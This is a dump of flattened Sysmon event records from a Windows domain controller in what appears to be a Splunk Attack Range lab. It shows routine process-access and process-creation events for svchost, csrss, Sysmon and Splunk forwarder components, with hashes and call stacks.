09:14:52.698{A5F018FF-28BE-5F80-0C00-000000007F01}604712C:\Windows\system32\svchost.exe{A5F018FF-28CF-5F80-3000-000000007F01}2508C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+11058|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000005920Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:14:52.698{A5F018FF-28BE-5F80-0C00-000000007F01}604712C:\Windows\system32\svchost.exe{A5F018FF-28CF-5F80-3000-000000007F01}2508C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+12023|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000005919Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:14:52.698{A5F018FF-28BE-5F80-0C00-000000007F01}604712C:\Windows\system32\svchost.exe{A5F018FF-28CF-5F80-3000-000000007F01}2508C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+e9d6|c:\windows\system32\lsm.dll+8fc1|c:\windows\system32\lsm.dll+8eb0|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000005918Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:14:52.698{A5F018FF-28BE-5F80-0C00-000000007F01}604712C:\Windows\system32\svchost.exe{A5F018FF-28CF-5F80-3000-000000007F01}2508C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+e9d6|c:\windows\system32\lsm.dll+8e6f|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000005917Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:14:52.698{A5F018FF-28BE-5F80-0C00-000000007F01}604712C:\Windows\system32\svchost.exe{A5F018FF-28CF-5F80-3000-000000007F01}2508C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+11aad|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000005916Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:14:52.698{A5F018FF-28BE-5F80-0C00-000000007F01}604712C:\Windows\system32\svchost.exe{A5F018FF-28CF-5F80-3000-000000007F01}2508C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+11058|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000005915Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:14:52.698{A5F018FF-28BE-5F80-0C00-000000007F01}604712C:\Windows\system32\svchost.exe{A5F018FF-28CF-5F80-3000-000000007F01}2508C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+12023|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000005914Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:14:52.698{A5F018FF-28BC-5F80-0500-000000007F01}6441148C:\Windows\system32\csrss.exe{A5F018FF-2A0C-5F80-5101-000000007F01}4036C:\Program Files\SplunkUniversalForwarder\bin\splunk-admon.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\system32\basesrv.DLL+2f47|C:\Windows\SYSTEM32\CSRSRV.dll+5645|C:\Windows\SYSTEM32\ntdll.dll+6e87f 10341000x80000000000000005913Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:14:52.698{A5F018FF-294E-5F80-0501-000000007F01}35044008C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe{A5F018FF-2A0C-5F80-5101-000000007F01}4036C:\Program Files\SplunkUniversalForwarder\bin\splunk-admon.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a7194|C:\Windows\System32\KERNELBASE.dll+2b860|C:\Windows\System32\KERNELBASE.dll+6b246|C:\Windows\System32\KERNEL32.DLL+1c213|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+ce6a3b|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+17cade|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+18641d|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+17ef16|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+c992c4|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+18689b|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+189d3c|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+c95f5f|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+c99fad|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+184c5b|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+c7dd7e|C:\Windows\System32\ucrtbase.dll+1fb80|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 154100x80000000000000005912Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:14:52.698{A5F018FF-2A0C-5F80-5101-000000007F01}4036C:\Program Files\SplunkUniversalForwarder\bin\splunk-admon.exe8.0.2Active Directory monitorsplunk ApplicationSplunk Inc.splunk-admon.exe"C:\Program Files\SplunkUniversalForwarder\bin\splunk-admon.exe"C:\Windows\system32\NT AUTHORITY\SYSTEM{A5F018FF-28BD-5F80-E703-000000000000}0x3e70SystemMD5=947139F3BB2AB70CAF692A60C7A3A735,SHA256=940554A0170A70F634689CC84B00C51AC0BCF773C9639E1305E3672441FC85C8,IMPHASH=357CEC18833E7FF2ABFB722902B13165{A5F018FF-294E-5F80-0501-000000007F01}3504C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe"C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe" service 10341000x80000000000000005911Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:14:52.026{A5F018FF-294F-5F80-0901-000000007F01}21084736C:\Windows\system32\conhost.exe{A5F018FF-2A0C-5F80-5001-000000007F01}4208C:\Program Files\SplunkUniversalForwarder\bin\splunk-MonitorNoHandle.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\SYSTEM32\ConhostV2.dll+5c07|C:\Windows\SYSTEM32\ConhostV2.dll+76ab|C:\Windows\SYSTEM32\ConhostV2.dll+a84c|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000005910Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:14:52.026{A5F018FF-28BE-5F80-0C00-000000007F01}604712C:\Windows\system32\svchost.exe{A5F018FF-28CF-5F80-3000-000000007F01}2508C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+e9d6|c:\windows\system32\lsm.dll+d3ae|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000005909Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:14:52.026{A5F018FF-28BE-5F80-0C00-000000007F01}604712C:\Windows\system32\svchost.exe{A5F018FF-28CF-5F80-3000-000000007F01}2508C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+11aad|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000005908Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:14:52.026{A5F018FF-28BE-5F80-0C00-000000007F01}604712C:\Windows\system32\svchost.exe{A5F018FF-28CF-5F80-3000-000000007F01}2508C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+11058|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000005907Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:14:52.026{A5F018FF-28BE-5F80-0C00-000000007F01}604712C:\Windows\system32\svchost.exe{A5F018FF-28CF-5F80-3000-000000007F01}2508C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+12023|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000005906Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:14:52.026{A5F018FF-28BE-5F80-0C00-000000007F01}604712C:\Windows\system32\svchost.exe{A5F018FF-28CF-5F80-3000-000000007F01}2508C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+e9d6|c:\windows\system32\lsm.dll+8fc1|c:\windows\system32\lsm.dll+8eb0|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000005905Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:14:52.026{A5F018FF-28BE-5F80-0C00-000000007F01}604712C:\Windows\system32\svchost.exe{A5F018FF-28CF-5F80-3000-000000007F01}2508C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+e9d6|c:\windows\system32\lsm.dll+8e6f|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000005904Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:14:52.026{A5F018FF-28BE-5F80-0C00-000000007F01}604712C:\Windows\system32\svchost.exe{A5F018FF-28CF-5F80-3000-000000007F01}2508C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+11aad|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000005903Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:14:52.026{A5F018FF-28BE-5F80-0C00-000000007F01}604712C:\Windows\system32\svchost.exe{A5F018FF-28CF-5F80-3000-000000007F01}2508C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+11058|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000005902Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:14:52.026{A5F018FF-28BE-5F80-0C00-000000007F01}604712C:\Windows\system32\svchost.exe{A5F018FF-28CF-5F80-3000-000000007F01}2508C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+12023|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000005901Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:14:52.026{A5F018FF-28BC-5F80-0500-000000007F01}6441148C:\Windows\system32\csrss.exe{A5F018FF-2A0C-5F80-5001-000000007F01}4208C:\Program Files\SplunkUniversalForwarder\bin\splunk-MonitorNoHandle.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\system32\basesrv.DLL+2f47|C:\Windows\SYSTEM32\CSRSRV.dll+5645|C:\Windows\SYSTEM32\ntdll.dll+6e87f 10341000x80000000000000005900Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:14:52.026{A5F018FF-294E-5F80-0501-000000007F01}35044008C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe{A5F018FF-2A0C-5F80-5001-000000007F01}4208C:\Program Files\SplunkUniversalForwarder\bin\splunk-MonitorNoHandle.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a7194|C:\Windows\System32\KERNELBASE.dll+2b860|C:\Windows\System32\KERNELBASE.dll+6b246|C:\Windows\System32\KERNEL32.DLL+1c213|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+ce6a3b|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+17cade|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+18641d|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+17ef16|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+c992c4|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+18689b|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+189d3c|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+c95f5f|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+c99fad|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+184c5b|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+c7dd7e|C:\Windows\System32\ucrtbase.dll+1fb80|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 154100x80000000000000005899Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:14:52.026{A5F018FF-2A0C-5F80-5001-000000007F01}4208C:\Program Files\SplunkUniversalForwarder\bin\splunk-MonitorNoHandle.exe10.0.10011.16384SplunkMonNoHandle Control ProgramWindows (R) Win 7 DDK driverWindows (R) Win 7 DDK providerSplunkMonNoHandle.exe"C:\Program Files\SplunkUniversalForwarder\bin\splunk-MonitorNoHandle.exe"C:\Windows\system32\NT AUTHORITY\SYSTEM{A5F018FF-28BD-5F80-E703-000000000000}0x3e70SystemMD5=BF28C74E12839E40CD89696C7CB01573,SHA256=6187325F302F232DE582FE28E0E0D2B292AB8122C3356C9CE295A482D7B93EA3,IMPHASH=27776F2813155A6CF34F6A075A0C2EC8{A5F018FF-294E-5F80-0501-000000007F01}3504C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe"C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe" service 10341000x80000000000000005938Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:14:53.369{A5F018FF-294F-5F80-0901-000000007F01}21084736C:\Windows\system32\conhost.exe{A5F018FF-2A0D-5F80-5201-000000007F01}1272C:\Program Files\SplunkUniversalForwarder\bin\splunk-netmon.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\SYSTEM32\ConhostV2.dll+5c07|C:\Windows\SYSTEM32\ConhostV2.dll+76ab|C:\Windows\SYSTEM32\ConhostV2.dll+a84c|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000005937Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:14:53.369{A5F018FF-28BE-5F80-0C00-000000007F01}604712C:\Windows\system32\svchost.exe{A5F018FF-28CF-5F80-3000-000000007F01}2508C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+e9d6|c:\windows\system32\lsm.dll+d3ae|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000005936Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:14:53.369{A5F018FF-28BE-5F80-0C00-000000007F01}604712C:\Windows\system32\svchost.exe{A5F018FF-28CF-5F80-3000-000000007F01}2508C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+11aad|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000005935Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 